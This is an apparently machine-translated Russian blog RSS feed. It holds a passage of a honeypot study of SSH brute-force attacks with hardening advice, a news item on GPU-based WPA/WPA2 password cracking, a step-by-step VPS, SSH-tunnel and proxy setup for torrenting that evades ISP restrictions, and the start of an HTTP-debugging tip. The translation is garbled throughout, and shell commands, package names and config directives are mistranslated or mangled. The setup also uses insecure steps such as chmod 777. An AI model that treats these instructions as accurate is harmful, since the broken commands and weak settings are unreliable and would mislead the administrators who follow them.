<p> Сканер съемки показали, что очень мощный инструмент используется. Они очень гибкие и могут использовать учетную запись настроить имя / пароль списки для нападения. Если злоумышленник хотел атаковать конкретного домена, они могли бы потенциально урожай имен учетных записей по социальной инженерии, а затем объединить эти счета имен стандартных паролей, которые будут использоваться во время нападения. Наблюдая IRC Bot канала, мы увидели, что нападавшие сканирования инструментов в сочетании с IRC Bot технологии выполнять сканирование с помощью Zombies (скомпрометированы нападавшими систем управления с помощью дистанционного канал). Наши тесты показали, что SSH пароль сканер может сканировать сети класса B на 700 секунд.
</p>
<p> В сочетании с армией роботов IRC, злоумышленник только нужды 525 Zombies сканировать весь IP4 сегодняшних общественных Интернет всего за один день. Если у вас есть общедоступный SSH сервер, то вы скорее всего, быть направлены на один из этих актов.
</p>
<p> Рекомендации
<p> Есть несколько простых способов защиты от этих нападений. Наиболее очевидный способ заключается в том, чтобы отключить демона службы, которая во многих системах установлена по умолчанию. Если компьютер работает в качестве системы настольной машине, то, скорее всего не нужно для удаленного доступа через SSH для входа в компьютер. Если это не вариант, Есть много других вариантов. </p>
<p> Используйте / ETC / hosts.allow и / ETC / hosts.deny файлы найдены на большинстве Unix и Linux системой для ограничения доступа демона конкретных хостов. </p>
<h2> Установить брандмауэр для ограничения доступа к серверу SSH только назначенные машины и сети. Это работает особенно хорошо, если администрация машины из внутренней сети требуется удаленный доступ к этой машине. </h2>
<p> Ограничить SSH-сервер для аутентификации только определенных пользователей или групп. </p>
<p> Переместите прослушивания порт на SSH сервер с 22 на некоторые другие неиспользованные порта. Хотя это не будет препятствовать нападавшим с подключением к серверу и начать угадывания пароля, это позволит значительно снизить вероятность нахождения вашего демона SSH, а нападающие используют стандартные SSH клиенты и средства нападения, которые берут на себя SSH сервер работает на стандартный порт 22. </p>
<h2> Использовать альтернативный метод аутентификации, кроме простых паролей. Подробнее об этом ниже. Если это не вариант, убедитесь, что сильная, сложных паролей или фразы используется. </h2>
<ul> SSH обеспечивает альтернативный метод аутентификации, который успешно сокращает угадывания пароля нападений. Этот метод проверки подлинности на основе криптографических ключей, или так называемых закрытых ключей и открытого ключа. Открытый ключ размещается на сервере, и выступает в качестве шлюза для пользовательского доступа к вашей учетной записи. Этот замок можно открыть только с соответствующего частного ключа. После того, как вы этот ключ, вы получаете доступ. Пароль угадать атак будут неудачными, как нападавшие не может угадать или создать такой частный ключ. Все современные SSH серверы настроены по умолчанию, чтобы поддержать этот метод аутентификации. Тем не менее, они обычно не на основе пароля авторизации в случае неправильного частный ключ при условии, открывая двери для нападений угадать пароль еще раз. Сервер должен быть настроен, а согласиться на основе ключей аутентификации
<li>, только </li>
<p> для смягчения последствий этой стратегии будет успешным.
<li> Настройка SSH с криптографическими ключами, очень проста и занимает всего несколько минут. Предыдущая статья написана Брайаном Hatch иметь имя </li>
<p> SSH пользователей Тождества
<li> для безопасного доступа между индивидуальным пользователем и SSH сервер. Для получения дополнительной информации о принимающих ключевые порожденных каждом сервере, </li>
<p> хостом SSH ключ защиты
<li> статьи может быть также в использовании. Затем, если SSH crytpo ключи в использовании, читатель может потребоваться еще один пример </li>
<p> SSH и SSH-агент
<li> сделать это проще и быстрее для того, чтобы войти с помощью SSH. </li>
</ul>
<p> В некоторых случаях пароль подлинности на основе или доступ к SSH-сервер не может быть отключена. В тех случаях, другие меры должны быть приняты. Мы видели, что нападающие угадать счет и иметь хорошие знания существующей системы счетов и счетов можно часто найти в компьютерных системах. Если атакующий имеет возможность угадать имя учетной записи, которая существует в системе &#8211; по нашим honeypot этом была достигнута на 96.30% по умолчанию учетных записей в системе RedHat honeypot &#8211; злоумышленник уже одной ногой в дверь. Таким образом, мы рекомендуем не использовать легко guessable счета имена, такие, как общие имена. Не используйте &#8216;Питер&#8217;, &#8216;Ян&#8217; или &#8216;Марка&#8217; а, скорее, создать учетную запись имен, содержащих сочетания имени и фамилии, например, &#8220;seifer_chr&#8221;. Это, как правило, может быть достигнуто за счет администратор, который контролирует назначение учетных записей. <em> </em> Кроме того, мы видим, что &#8220;корень счета является наиболее часто используется имя учетной записи для атаки, как это обычно существует на компьютерные системы. Мы рекомендуем, чтобы удаленный доступ к этому счету просто отключен. Вместо этого администратор должен &#8220;Су&#8221; (суперпользователя) получить доступ к этому счету первым через учетную запись обычного пользователя.
<p> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5zZWN1cml0eWZvY3VzLmNvbSUyRmluZm9jdXMlMkYxODEw&#038;hash=77d3d8a357"> Нападающие часто пытались угадать счета, которые существуют в большинстве систем по умолчанию, например, FTP и MySQL. Доступ к корпусу может быть получена только по этим счетам, если оболочка, связанные с этой учетной записи. Для тех счетов, как FTP или MySQL, что существуют просто для запуска услуги на машине, без скорлупы, необходимо и должны быть отключены, фактически запрет удаленного доступа с этих счетов с помощью SSH. </a> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5zZWN1cml0eWZvY3VzLmNvbSUyRmluZm9jdXMlMkYxODA2&#038;hash=7e05ca8a68"> В дополнение к учетной записи имен, которые не могут быть, догадались, важно, чтобы пользователи пароли сильным. Мы видели, что пароли, используемые в нападениях нередко совпадают имена счет или счет, имена с номером последовательности. Мы предполагаем, что нападавшие выбрать эти пароли, поскольку они являются наиболее &#8220;успешных&#8221; в злоумышленных попыток входа. Это означает, что по крайней мере, некоторые пользователи устанавливают свои пароли к этим легко guessable строк. Единственный способ администратор системы может запретить пользователям выбирать такие пароли, установив различные инструменты, например, </a> + пароль <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5zZWN1cml0eWZvY3VzLmNvbSUyRmluZm9jdXMlMkYxODEy&#038;hash=0660a81cd3">, что силы пользователям выбирать надежные пароли. </a> </p>
<p> Нападающие использовании инструмент для выполнения угадывания пароля и логина попытки, как, например, захваченного сканера,
<p> QT </p>
<p> и
<p> 55hb </p>
<p>. Однако, несмотря на эти инструменты, минимальное среднее время попытки входа было около двух секунд, из-за искусственной задержки на неудачных попытках входа в который был включен в SSH-сервера, а также различные сетевые задержки. Хотя это обеспечивает защиту от атаки грубой силы, всего несколько попыток, и угадать, которые необходимы на слабых внимание имена и пароли для них будет поставлена под угрозу. Меры безопасности, описанные выше, должны быть установлены в целях безопасности, на практике ширина и глубина.
</p>
<p> Будущая работа
<p> Наш анализ основывается на данных, захватили наш honeypot. Мы не можем определить, насколько успешно эти атаки против систем, которые можно найти в Интернете. Мы бы сравнить имя учетной записи и пароля комбинации, используемые в нападениях на счет имя / пароль комбинаций, которые существуют на реальных систем с целью определения успеха. Кроме того, мы предложили движущихся прослушивания порт на SSH сервер на некоторые другие неиспользованные порта. Нам необходимо создать систему с такой конфигурацией для оценки ее эффективности. <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5zZWN1cml0eWZvY3VzLmNvbSUyRnRvb2xzJTJGMTA2NQ==&#038;hash=6cbfbaf2ed"> Об авторе </a> </p>
<p> Кристиан Зайферт <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5hc3RhbGF2aXN0YS5jb20lMkZpbmRleC5waHAlM0ZzZWN0aW9uJTNEbmV3cyUyNmNtZCUzRGRldGFpbHMlMjZuZXdzaWQlM0Q2MjA=&#038;hash=67a60305f9"> является членом Новой Зеландии Honeynet альянса. </a> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnBhY2tldHN0b3Jtc2VjdXJpdHkub3JnJTJGQ3JhY2tlcnMlMkY1NWhiX3YxLnNoLnR4dA==&#038;hash=633a257d97"> </a> </p>
<h2> </h2>
<h2>
<p>linuxexposed.com</p>
]]></content:encoded>
			<wfw:commentRss>http://fvsd.ru/2009/06/20/analiz-vredonosnyx-ssh-login-popytki/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Крекинг WPA и WPA2 пароли</title>
		<link>http://fvsd.ru/2009/06/20/kreking-wpa-i-wpa2-paroli/</link>
		<comments>http://fvsd.ru/2009/06/20/kreking-wpa-i-wpa2-paroli/#comments</comments>
		<pubDate>Sat, 20 Jun 2009 09:43:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Експлоиты]]></category>
		<category><![CDATA[WPA2]]></category>
		<category><![CDATA[Крекинг]]></category>
		<category><![CDATA[пароли]]></category>

		<guid isPermaLink="false">http://fvsd.ru/2009/06/20/kreking-wpa-i-wpa2-paroli/</guid>
		<description><![CDATA[Распространен в Elcomsoft Password Recovery (EDPR) инструмент, который можно взломать WPA и WPA2 пароли быстрее вызвало беспокойство среди пользователей и специалистов. В Великобритании Защищенного вычислительным журнал цитирует Глобальной Защищенного Systems, поставщик  услуг безопасности, заявил, что обеспечение WLAN исключительно с WPA и WPA2 теперь уже не достаточно: дополнительная защита с VPN шифрование является необходимой.
 
 [...]]]></description>
			<content:encoded><![CDATA[<p>Распространен в Elcomsoft Password Recovery (EDPR) инструмент, который можно взломать WPA и WPA2 пароли быстрее вызвало беспокойство среди пользователей и специалистов. В Великобритании Защищенного вычислительным журнал цитирует Глобальной Защищенного Systems, поставщик <span id="more-5"></span> услуг безопасности, заявил, что обеспечение WLAN исключительно с WPA и WPA2 теперь уже не достаточно: дополнительная защита с VPN шифрование является необходимой.
<p> <!--GoogleAd -->
<div> <!-- end of google ads --> </div>
<p> Elcomsoft объявил в начале недели, что EDPR теперь поддерживает несколько графических чипов карту для восстановления паролей по WLANs. Это утверждал, чтобы сделать процесс крекинга до 100 раз быстрее, чем с обычной процессора. Около года назад, показало Elcomsoft с версии 2.0, как EDPR GeForce 8-серии карт могут быть использованы для взломать пароли <a href="http://fvsd.ru/tag/windows/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  Windows">Windows</a> NTLM до 25 раз быстрее. Теперь, похоже, NVIDIA многолетних GPU поддержка позволит WPA и WPA2 пароли как &#8220;рекуперированная&#8221; быстрее, тоже. </p>
<p> В частности, NVIDIA в GeForce GTX280, причем до 240 Шейдерной ALUS и до одного гигабайта оперативной памяти, дает огромный стимул для работы. В среднем ноутбук с NVIDIA GeForce 8800M или 9800M, WPA пароли могут треснувший от 10 до 15 раз быстрее, чем без поддержки GPU. Если два или более GTX-280 карт использовать этот процесс, судя по сообщениям, в 100 раз быстрее. Кроме того, WPA пароли, EDPR способен выработать пароли для Microsoft Office, Adobe Acrobat, PGP и Lotus Notes, а также <a href="http://fvsd.ru/tag/windows/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  Windows">Windows</a> и Unix пароли. </p>
<p> Если Elcomsoft инструмент действительно представляет собой угрозу для WLANs с помощью WPA еще предстоит выяснить. Это нападение представляет собой простой грубой силы один, используя вычислительные мощности многочисленных GPUs чтобы ускорить этот процесс. Если надежные пароли используются &#8211; то есть, длинный и содержащий непредсказуемой последовательности символов &#8211; тогда это нападение может еще немало времени, даже в 100 раз превышает скорость. Самый быстрый взлома паролей из этой системы потребует кластер мощных рабочих станций с несколькими парами высокого конец двойной процессор графической карты, рабочие, возможно, за несколько дней, так что это не нападение, что люди будут запуск с КПК или смартфона, ни даже автомобиле, припаркованном на улице. Серьезная атака на хорошо настройки WLAN потребует захвата значительный кусок сетевого трафика с снифер, затем оно вне для обработки. К тому времени, когда безопасность была нарушена, а плотно обеспеченных сети будет изменен ключи в любом случае. </p>
<p> Слабые пароли, с другой стороны, представляют собой проблему, даже без EDPR. Кроме того, TKIP часто используемый на корпоративных сетях для шифрования, а это означает, что сеть ключевых постоянно меняется каждые несколько килобайт в ходе сессии. Elcomsoft не сообщил ли его новый инструмент может также быстро нападения таких сетей.  </p>
<p>linuxexposed.com</p>
]]></content:encoded>
			<wfw:commentRss>http://fvsd.ru/2009/06/20/kreking-wpa-i-wpa2-paroli/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Торренты и SSH туннель</title>
		<link>http://fvsd.ru/2009/06/20/torrenty-i-ssh-tunnel/</link>
		<comments>http://fvsd.ru/2009/06/20/torrenty-i-ssh-tunnel/#comments</comments>
		<pubDate>Sat, 20 Jun 2009 05:25:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Експлоиты]]></category>
		<category><![CDATA[Торренты]]></category>
		<category><![CDATA[туннель]]></category>

		<guid isPermaLink="false">http://fvsd.ru/2009/06/20/torrenty-i-ssh-tunnel/</guid>
		<description><![CDATA[   После распада Napster, в таких местах, как donkax и единственный оригинальный HTML suprnova, бренд новой эры файл обмена было на человечество. Переход из регулярного P2P сети BitTorrent, как-то вдоль линий изменение избили Dodge на блестящей новой Ferrari (блондинка  входит в комплект поставки). Молния быстро и ошибок передачи премиум содержание, которое ранее [...]]]></description>
			<content:encoded><![CDATA[<p> <font size="-1" face="arial,helvetica"> <span> После распада Napster, в таких местах, как donkax и единственный оригинальный HTML suprnova, бренд новой эры файл обмена было на человечество. Переход из регулярного P2P сети BitTorrent, как-то вдоль линий изменение избили Dodge на блестящей новой Ferrari (блондинка <span id="more-8"></span> входит в комплект поставки). Молния быстро и ошибок передачи премиум содержание, которое ранее принял возрасте получать и распространять теперь вытекает, как драгоценные пряности filesharing всей галактике. К счастью, император был слишком занят, чтобы заметить, когда они насиловали этих бедных несколько пионеров позади &#8220;Napster, как&#8221; P2P сетей и FTP и свалки &#8220;хозяев&#8221;, что вся партия, помимо регулярного обмена файлами в его традиционном смысле, что происходит. Спиральный из-под контроля новенькой полностью ветром культуры совместного использования файлов является поиск путей ее в любой другой способ общества. Это уже не то лишь немногие решили участвовать в таком случае действительно занимает прочное место в жизни лиц, в среднем, где-то между тостер, телевизор. </span> </font> </p>
<p> <!--GoogleAd -->
<div> (# ) <!-- end of google ads --> </div>
<p> <font size="-1" face="arial,helvetica"> Не удивительно &#8220;отрасль&#8221; имеет мало хорошего сказать нечто такое, что нарушает свои собственные очень священные места в нашей жизни. Человек насколько обществе тенденции, то, являются удивительно глупых существ &#8211; в то время как постепенно развивается в один слой сознания и информированности, мы полностью остановлен в ряде направлений, которые могут предложить большие возможности для улучшения человеческой расы, и в некоторой степени, прогресс, как мы его знаем . Анти P2P кампании нынешнего напомнить священных крестовых походов, причем заметна разница, что не только некоторые врага сражались-то там, но и своим лояльным предметы рассматриваются как враг. Так что, хотя многие народы этих дней утверждают, что демократические (который для вот этого аргумента, как предполагается, будет верхней в эволюции ссылке), в реальности &#8211; во многих аспектах жизни, мы на самом деле лишь немного из темных веков. Много потенциально плохие вещи начали с 2 факторами &#8220;&#8230; это лидеры в стране, кто определяет политику, и это всегда является простым делом вытащить людей вместе, будь то демократия, или фашистской диктатуры, или парламент, или коммунистические диктатуры. &#8220;(из архивов Нюрнбергского судебного разбирательства), либо в корпоративном мире современного бизнеса, который по моему мнению, отражает то, что мир много будет использоваться как и в прошлом веке. Технологический прогресс просто развивается быстрее, чем общество может адаптироваться, поэтому вместо развивается быстрыми темпами, на Есть те немногие большинство влияния, которое, как правило, по одной причине или другой проведении большинства назад, получив их эксплуатации в наиболее возможной степени вдоль пути курс. <span> <br /> В индустрии устремились в новое боя гораздо спорным причинам, некоторые события произошли также в центре Интернет &#8211; провайдеры землю, что есть. Bittorrent явлений выявили еще одно слабое звено в наших демократий, [которое в теории должно самоуправления настроить такие препятствия], события с растущим движением были далеки от перспективным, поскольку немногим более десяти лет, отрасль продали широкополосного к массам без этих масс, фактически используя их потенциал широкополосных на макс. А теперь несколько гипотетических filesharing движения преобразована в весьма реальные цифры, которые не выглядеть на все отрасли, так как инвестиции в улучшение технологий для поддержки растущего спроса будет весьма вероятно передаче некоторых корпоративных королевской осел ногами &#8211; он просто не В интересах максимального дохода с учетом того, что решительные меры имеются в наличии. Так что же делать эту отрасль? Ну их, посмотрев вокруг, и то, что они уже были найдены товарищ царь боевых святой крестовый поход и сжигание ведьм один за другим, так что, естественно, &#8220;Почему мы должны быть какие-либо иному, если масса не жалко пару сжигали ведьм слишком И rdquo ; раза массу новых технологий сжигания и мы его, &#8211; все виды трафика P2P ограничений из провайдеров. </p>
<p> [P2P броня] <strong> </strong> <br /> Есть ряд головных к P2P netizens &#8211; вопросы конфиденциальности и доступности в P2P услуги относятся к числу тех немногих первыми. Конфиденциальность является проблемой для простой причине, что независимо от того, насколько распространено в сети передачи, в конце загрузки / скачать узел всегда будет видна с заинтересованными сторонами. Тогда возникает проблема с теми ресурсами, перевозящих пользователю идентифицировать журналы, которые могут найти свой путь к &#8220;другой стороне&#8221;. Наконец существует потенциальная проблема с утечками информации в прерывистому узлы между источником и пунктом назначения в P2P трафик. Наличие в P2P услуга очень многое сводится к P2P трафика то подделаны, прежде чем он фактически достигает P2P сети в любом направлении. </p>
<p> Если мышление скрывая своего IP от остального мира, несомненно, доверенными лицами или своего рода мода на поп картина. Традиционные носки прокси концепции заботится об этой проблеме в большинстве мере движения, если это рассматривать как осуществляется обмен с клиентом на прокси-сервер, а затем в другую сторону, и наоборот, поэтому реальный IP не взаимодействовать с другой стороной напрямую, а через дополнительный уровень коммуникации. Это было время широко принятые в число &#8220;анонимных&#8221; услуги бесплатной сети Tor (которые никогда не должны использоваться для Торренты!) Для коммерческих BTGuard как услуги. Существует, однако, проблема с последним &#8211; этот вид услуг, безусловно, хорошо для общественного отслеживания ресурсов, но она не дает способ подключения для частных трекеров. Местами это происходит потому, что частные трекеры потребуется вам для входа на сайт, то они позволяют IP, с которого возникла вход для обмена данными с другими пользователями по сети. Еще одной проблемной точкой этого подхода такова, что коммуникации между клиентом и сервис очень читабельным и открыты для любых фальсификации. Так что, хотя фактически скрывая ваш IP, вы можете попасть в ловушку, имеющих оборот подделаны, прежде чем оно достигнет доверенности. Большинство современных клиентов как utorrent, Azureus и потоп имеют возможность полностью шифровать входящий и исходящий трафик. Так что это хороший дополнительный шаг в создании труднее изменять трафика [не зашифрованного трафика - DNS-запросы, а также обмена информации браузера с множеством торрент происхождения]. </p>
<p> Более эффективный механизм, является еще одним слоем шифрование, предлагают такие услуги, как Relaks или Torrentfreedom, там вы в основном создать VPN-соединения, которые все туннели трафика на их серверах, а оттуда она путешествует по сети Интернет &#8221; как есть &#8220;вне туннеля. Для справки &#8211; некоторые провайдеры специально не разрешают VPN соединения со своими сетями, (там, где это официально запрещена TOS / AUP) линия довольно много падает мгновенно, как только VPN туннель был создан. Наконец P2P netizens имеете возможность запуска безопасного подключения к виртуальной частной арендовал (выделенный) сервер. </p>
<p> Конечно физическим сервером будет делать гораздо лучше по сравнению с виртуального изображения, но затраты вступит в озабоченность тем виртуальный вариант значительно дешевле (менее 10 $ в месяц, в некоторых случаях). Виртуализация поставляется по цене меньшей, имеющих ресурсы на деньги, поэтому все виды windblowz установки в значительной степени из этой темы так же, как графический интерфейс рабочего стола эффект богатыми среди современных дистрибутивов Linux, в связи с CPU / RAM ограничений. Использование ресурсов в буквальном смысле должно быть сведено к минимуму, концентрации на том, достаточно ресурсов, поставляемых на услуги, которые будут оказывать помощь в P2P. </p>
<p> Такие виртуальные сервера необходимо поставок шифрования, а также выступать в качестве веб-прокси и носки. Как правило, из окна установки VPS / VDS провайдеров прийти значительно раздели и оптимизированы предложить очень минимально возможной установки. Для примера вот убунту было использовано, чтобы сервер с оригинальным установленной базой занимающая около 240mb в пространства. Из окна службы удаленно доступны для дальнейшей установки SSH, так что это, как такое сервер будет настроен. Есть ряд SSH клиенты там, ходят слухи, что она шпатлевка пород, но не стесняйтесь использовать любые хотите. Установление соединения с сервером SSH также легко и Есть много Tutorials там о том, как это сделать. </p>
<p> [Setup] <strong> </strong> <br /> Так что у вас есть он &#8211; большой черный ящик создан связи с корневой @ yourbox и курсор. Следующее, что нужно сделать было бы установить все программное обеспечение, необходимое для P2P через арендованные сервера. К счастью, это стало слишком легко теперь с пакетом инструментов управления, требующие 0 конфигурации или компиляции. Ubuntu имеет ням и APT-GET для покрытия базы, установка так же просто, как обновить ням, ням затем установить вещи или APT-GET обновления, а затем APT-GET установить вещи. Некоторые первоначальные конфигурации, скорее всего, потребует редактирования конфигурационных файлов, так как познакомиться с VI / нано редакторов или прыгнуть в установке Midnight Commander, в кв-получать обновления, а затем обновить APT-GET установить MC. МК в минималистском Ncurses интерфейс поможет вам просмотра файловой системы, а также редактирования файлов. </p>
<p> 1) Перейдите в / ETC / SSH и sshd_config открыть для редактирования, на данный момент только изменения (добавьте, если отсутствует) следующие права после GSSAPI варианты: X11Forwarding да и AllowTcpForwarding да, после этого сохраните файл и выполните / и т.д. / init.d / SSH перезапустите, выход из сервера сессии. </p>
<p> 2) Далее в шпатлевка загрузить сохраненный надеяться сессии расширить SSH, X11 и выберите Разрешить пересылку X11, X11 выбора удаленной аутентификации протокола, как MIT-Magic-Cookie-1. Что это вовсе это дает какие-либо графического приложения, расположенные на сервере для запуска в рамках локального сервера X11. <a href="http://fvsd.ru/tag/windows/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  Windows">Windows</a> людей без X11 удовольствия, возможно, захотите проверить &#8220;X11 Экспедирование над использованием SSH X-Deep/32 и PuTTY&#8221;. Существует, конечно, очень мало нужно для установки графических приложений с сервером, который предназначен для guiless, но шансы не каждый второй читатель настройки iptables как вручную, так что это только для того, чтобы сделать вещи простыми. </p>
<p> 3) APT-GET установить iptables conntract libnetfilter-conntrack1 firestarter помогут с получением окно заблокировано вниз перед дальнейшей настройки не происходит. После установки запустить firestarter, что если бы все было настроено нормально начнем с использованием локального сервера X11. <br /> 3.1) Политика въездному &#8211; разрешить соединения от хоста = добавить ваш IP-клиент, которая будет проходить потоки. В случае, если вы произошло иметь динамический IP, получить одну из свободных DNS служб иметь указатель на вас и ввода DNS имя вместо IP адреса. Кроме того, позвольте добавить сервис &#8211; 36881-36889 порты &#8211; все, и несколько других портов на torrentflux. <br /> 3.2) Изменение предпочтений &#8211; под интерфейс> События = Включить все opitons; рамках политики позволить все варианты; Firewall> фильтрация ICMP = пометить флажок для позволить МКЛПБ фильтрации; Firewall> ГС Фильтрации = знак включено, для серверов И X Window, приоритетности для Пропускная; Firewall> Advanced Options> знак падения молча, и проверить все, что ниже. </p>
<p> 4) Изменить / ETC / hosts.deny для всех: ВСЕ, а затем / ETC / hosts.allow, чтобы все: YOURPUBLICIP ВСЕ: PRIVATEIPOFYOURCLIENT. </p>
<p> 5) APT-GET установить Xinetd. </p>
<p> 6) APT-GET установить mysql_server apache2 php5 php5-MySQL torrentflux PhpMyAdmin кальмаров Данте-сервер. </p>
<p> 7) Отредактируйте / ETC / MySQL / my.cnf иметь key_buffer, max_allowed_packets, thread_stack, query_cache_limit установлен на 128K И query_cache_size установлен в 1 Мб. <br /> 7.1) / и т.д. / init.d / MySQL и затем начать mysql_secure_installation устранения testdb и пользователей доступа к таким, имея корни входа дистанционно запрещено. Установка корневого пользователя, не является очень хорошей идеей. </p>
<p> <img src='http://fvsd.ru/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> Изменить / etc/apache2/apache2.conf иметь StartServers, MinSparseServers установлен в 1 и MaxSparseServers установлен на 2 с maxclients = 10. <br /> 8.1) / etc/init.d/apache2 перезагрузить. </p>
<p> 9) Создание БД для torrentflux в PhpMyAdmin и импорт / USR / доли / DOC / torrentflux / dbfiles / mysql.gz там. <br /> 9.1) Chmod-R 777 / VAR / кэш / torrentflux. </p>
<p> 10) Отредактируйте / ETC / danted.conf включить>> клиенту проходить от YOURPUBLICIP (/ 0 порт 1-65535 к 0.0.0.0 / 0). </p>
<p> 11) Отредактируйте / ETC / кальмар / squid.conf включить (справа ниже всех SRC ACL) ACL Tor SRC YOURPUBLICIP, затем вниз по http_access, когда вам нужно добавить http_access позволить Tor. [Примечание качестве альтернативы кальмар, только падение одного из прокси-сервер на PHP скрипты на WWW / HTML каталог Apache] </p>
<p> 12) И, наконец изменить в / ETC / SSH / sshd_config, добавьте порт 443 под 22, Добавить GatewayPorts да под AllowTcpForwarding да, а также изменения к KeepAlive да. Установить Протокол 2, UsePrivilegeSeparation да, да StrictModes, удалите символ # (раскомментировать) от начала линии AuthorizedKeysFile, ChallengeResponceAuthentication да, PasswordAuthentication нет, UsePAM да. </p>
<p> 13) Далее создания общественных / частных ключей на стороне клиента, в результате вы будете иметь / Home / someuser / .ssh / id_rsa И id_rsa.pub. </p>
<p> 14) на сервере, не создавать корневой пользователь через useradd (не забудьте использовать флаг домой реже), перейдите в / главная / пользователей / .ssh и запустить связь authorized_keys. </p>
<p> 15) С клиентской стороне перспективе SCP / Home / someuser / .ssh / id_rsa.pub ipoftheserver: / Главная / пользователь / .ssh, затем один сервер сделать кота id_rsa.pub>> authorized_keys. </p>
<p> 16) APT-GET установить logwatch. Изменить / ETC / logrotate.conf включить в день вместо еженедельных, поворота 1, компресс. Перезагрузите сервер. </p>
<p> После перезагрузки / с учетом того, что все конфиги разработаны ОК / такого сервера будет Squid в качестве прокси-сервера для обозревателя Данте и могут быть использованы в качестве SOCKS4 сервер. Они являются хорошими для обмена между несколькими людьми, чтобы не транслировать реальные IP-адреса к роиться / Tracker. Кодировка от клиента стороной через autossh в виде: </p>
<p> autossh-М 40511:40522-I / Home / localclientuser / .ssh / id_rsa -2-R 36881: локальный: 36881-R 36882: локальная : 36882-R 36883: локальный: 36883-R 36884: локальный: 36884-R 36885: локальный: 36885-R 36886: локальный: 36886-R 36887: локальный: 36887-R 36888: локальный: 36888-R 36889: локальный: 36889-D-N 9920-р Т-443 nonrootuserattheserver @ serverip <code> </code> <br /> Если Вы хотели бы (и вы) использование зашифрованных добавить кальмары-L 3128: serverip: 3128 сразу же после последнего R переключиться выше. Изменить браузеры имеют преференции по доверенности, указанной в качестве локального: 3128, отредактируйте ваш любимый клиент BitTorrent [потоп!] Конфигурацию использовать socks5 прокси на 127.0.0.1:9920 и порты 36881-36889 для общения. Наконец, не забывайте о torrentflux как средство загрузки непосредственно арендуемые сервера:) Таким образом, использование пропускной способности не ограничивается вашим клиентом линии загрузить / скачать предел. Используйте любой ПКП или Rsync передавать файлы на сервер. Еще одним способом увеличения свободного пространства непосредственно на сервере, будет расти примерно FTP доли от клиента к серверу, но опять эта связь может быть ограничение скорости в клиенте. </p>
<p> Такая установка имеет много заявок, и будет обходить различные ограничительные меры. Как и большинство сегодняшней конфиденциальности мер он не является совершенным, но оно будет способствовать, по крайней мере в некоторой степени. По сравнению с доступными zeroconfig услуг, он может сначала показаться более сложным в настройке, но в реальности она занимает около 40mins делать все это с нуля, и это еще дешево по сравнению с другими коммерческими установок особенно если распределяются между несколькими людьми. Ohh да и добро пожаловать обратно Demonoid! <br /> </span> </font> </p>
<p>linuxexposed.com</p>
]]></content:encoded>
			<wfw:commentRss>http://fvsd.ru/2009/06/20/torrenty-i-ssh-tunnel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Проверка HTTP</title>
		<link>http://fvsd.ru/2009/06/20/proverka-http/</link>
		<comments>http://fvsd.ru/2009/06/20/proverka-http/#comments</comments>
		<pubDate>Sat, 20 Jun 2009 02:47:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Експлоиты]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[Проверка]]></category>

		<guid isPermaLink="false">http://fvsd.ru/2009/06/20/proverka-http/</guid>
		<description><![CDATA[Есть множество причин, вы можете проверить  HTTP  при отладке проблем. Если вы когда-нибудь для отладки проблем, связанных с сессиями, печенье, или редиректов, я уверен, вы можете оценить, насколько сильно это без проведения пристально взглянуть на  то, что происходит за кулисами.
 Есть много инструментов, чтобы помочь Вам проверять HTTP. Если вы  Firefox [...]]]></description>
			<content:encoded><![CDATA[<p>Есть множество причин, вы можете проверить <abbr title="Hypertext Transfer Protocol"> <a href="http://fvsd.ru/tag/http/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTP">HTTP</a> </abbr> при отладке проблем. Если вы когда-нибудь для отладки проблем, связанных с сессиями, печенье, или редиректов, я уверен, вы можете оценить, насколько сильно это без проведения пристально взглянуть на <span id="more-6"></span> то, что происходит за кулисами.
<p> Есть много инструментов, чтобы помочь Вам проверять <a href="http://fvsd.ru/tag/http/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTP">HTTP</a>. Если вы <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRm1vemlsbGEuY29tJTJGZmlyZWZveA==&#038;hash=cddc277452"> Firefox </a> пользователь, вы можете использовать <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRmxpdmVodHRwaGVhZGVycy5tb3pkZXYub3Jn&#038;hash=30cf55f89d"> LiveHTTPHeaders </a> или <a href="http://fvsd.ru/wp-go.php?url=aHR0cHMlM0ElMkYlMkZhZGRvbnMubW96aWxsYS5vcmclMkZmaXJlZm94JTJGYWRkb24lMkY2NjQ3&#038;hash=b77c8c56dc"> HttpFox </a>. (Пожалуйста, не стесняйтесь предложить другие.) Если вы используете <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRmFwcGxlLmNvbSUyRnNhZmFyaQ==&#038;hash=4f73775c68"> Сафари </a>, вы можете позволить отладочного меню: </p>
</pre>
<ol>
<li> <code> $ умолчанию написать com.apple.Safari IncludeDebugMenu 1 </code> </li>
</ol>
